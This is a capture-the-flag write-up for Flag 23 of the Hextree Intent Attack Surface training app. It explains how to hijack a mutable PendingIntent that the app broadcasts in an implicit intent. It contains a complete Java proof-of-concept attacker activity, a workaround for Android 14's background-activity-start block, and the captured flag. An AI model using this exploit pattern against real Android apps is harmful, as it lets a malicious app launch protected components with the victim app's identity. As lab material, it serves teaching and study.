Static Analysis

AndroidManifest.xml

Upon inspecting the Flag23Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag23Activity"  
	android:exported="false"/>

Since exported is set to false we can’t call this activity from our exploit apk, but as we saw in Flag5Activity we can use it to be our pivot activity

Flag23Activity Class

public class Flag23Activity extends AppCompactActivity {  
    public Flag23Activity() {  
        this.name = "Flag 23 - Hijack pending intent";  
        this.tag = "PendingIntent";  
        this.tagColor = R.color.red;  
        this.flag = "6GqvZ4aOjqNSTlaifb21GPQlHbYwe6S/PkRgfYdLod0Q+Y7QTu55zAs3eixaRA6V";  
        this.allowOpenActivity = true;  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        Intent intent = getIntent();  
        String action = intent.getAction();  
        if (action == null) {  
            Toast.makeText(this, "Sending implicit intent with the flag\nio.hextree.attacksurface.MUTATE_ME", 1).show();  
            Intent intent2 = new Intent("io.hextree.attacksurface.GIVE_FLAG");  
            intent2.setClassName(getPackageName(), Flag23Activity.class.getCanonicalName());  
            PendingIntent activity = PendingIntent.getActivity(getApplicationContext(), 0, intent2, 33554432);  
            Intent intent3 = new Intent("io.hextree.attacksurface.MUTATE_ME");  
            intent3.addFlags(8);  
            intent3.putExtra("pending_intent", activity);  
            this.f.addTag(intent3);  
            Log.i("Flag22Activity", intent3.toString());  
            startActivity(intent3);  
            return;  
        }  
        if (action.equals("io.hextree.attacksurface.GIVE_FLAG")) {  
            this.f.addTag(action);  
            if (intent.getIntExtra("code", -1) == 42) {  
                this.f.addTag(42);  
                success(this);  
            } else {  
                Toast.makeText(this, "Condition not met for flag", 0).show();  
            }  
        }  
    }  
}

Upon reviewing the code the first thing we see is that the Acitivity sends an implicit intent to io.hextree.attacksurface.MUTATE_ME that intent contains a pending intent which will help us getting the flag, in the code the condition to success is when we return the pending intent with an ExtraInt equals to 42, let’s write the POC

Creating POC

Flag23.java

public class Flag23 extends AppCompatActivity {
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag23);
 
        getSupportActionBar().setTitle("Flag 23");
 
          ///////////////////////////////
         // BUTTON TO INITIATE ATTACK //
        //////////////////////////////
        Button button = findViewById(R.id.button_flag23);
        button.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.v("HEXTREE", "Going to flag 23 activity");
 
                // 1. Create the initial intent to start the process with Flag23Activity
                Intent targetIntent = new Intent();
                targetIntent.setComponent(new ComponentName("io.hextree.attacksurface",
                        "io.hextree.attacksurface.activities.Flag23Activity"));
 
                // 2. Use the PivotIntent utility to wrap the intent for the attack chain
                // Read more about this function in Flag6 writeup 
                Intent pivot = PivotIntent.create(targetIntent);
 
                // 3. Start the activity chain
                startActivity(pivot);
            }
        });
 
          ///////////////////////////////////////////////////////////////
         // RECEIVING PENDINGINTENT & SENDING PAYLOAD TO GET THE FLAG //
        ///////////////////////////////////////////////////////////////
        if (getIntent() != null && getIntent().hasExtra("pending_intent")) {
            Intent intent = getIntent();
            // Display the received flag, if any
            Utils.showDialog(this, intent);
 
            // Extract the PendingIntent sent by the target application
            PendingIntent pendingIntent = intent.getParcelableExtra("pending_intent");
 
            if (pendingIntent != null) {
                try {
                    Log.v("Flag23 - Debug", "Preparing Payload to send via PendingIntent...");
 
                    // 1. Create the malicious intent that will be sent using the PendingIntent.
                    // This intent will ask Flag23Activity to give us the flag.
                    Intent mutableIntent = new Intent();
                    mutableIntent.putExtra("code", 42); // A required extra for the target.
 
                    // 2. This is the critical fix for Android 14+ (Upside Down Cake).
                    /*
                       Apps are restricted from starting activities from the background (BAL).
                       We are in the foreground, so we can grant a temporary permission slip
                       to the background app (Hextree) to start an activity on our behalf.
                     */
                    android.app.ActivityOptions options = android.app.ActivityOptions.makeBasic();
                    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
                        options.setPendingIntentBackgroundActivityStartMode(
                                ActivityOptions.MODE_BACKGROUND_ACTIVITY_START_ALLOWED
                        );
                    }
 
                    Log.v("Flag23 - Debug", "Sending pendingIntent with BAL Permission...");
 
                    // 3. Trigger the PendingIntent, sending our malicious 'mutableIntent' as the fill-in.
                    // We pass the special 'options' bundle to grant the BAL permission.
                    pendingIntent.send(this, 0, mutableIntent, null, null, null, options.toBundle());
 
                } catch (Exception e) {
                    Log.e("Flag23", "Exploit Failed", e);
                    Toast.makeText(this, "Exploit Failed: " + e.getMessage(), Toast.LENGTH_LONG).show();
                }
            }
        }
    }
}

I actually had some trouble creating the POC, the problem was as follows:

  • I can get the flag if I started the Flag23Activity from the Intent Attack Surface app
  • I can’t get the flag from my Attacking app The problem wasn’t in the code logic itself it was in the android version I’m using which is Android 14 (Applies for any version newer than it also which means API 34+) Here’s why the problem happened:

The Problem:

You (Attacker App) are in the Foreground. The PendingIntent belongs to the Vulnerable App, which is in the Background.

Android 13 and older

If you triggered that PendingIntent, Android would say: “The user is interacting with the Attacker App, so I guess it’s okay to launch this activity.”

Android 14 / API 34+

Google realized this behavior was dangerous (it allowed background apps to hijack the user’s focus). They changed the rules. Now, when you call pendingIntent.send(), Android checks the identity of the creator of that intent (the Vulnerable App).

So what happen is:

  • Android sees the creator is in the background.
  • Android blocks the launch to prevent “Popup Spam.”
  • Result: The vulnerability exists, but the OS refuses to let the window open. So to fix that we need to pass ActivityOptions.MODE_BACKGROUND_ACTIVITY_START_ALLOWED, we create a “Permission Slip.” You are explicitly telling the Android OS: “I am the current Foreground App, and I authorize the owner of this PendingIntent to open a window right now, even though they are in the background.”

Flag

HXT{teenage-mutable-intent-turtles-s2df}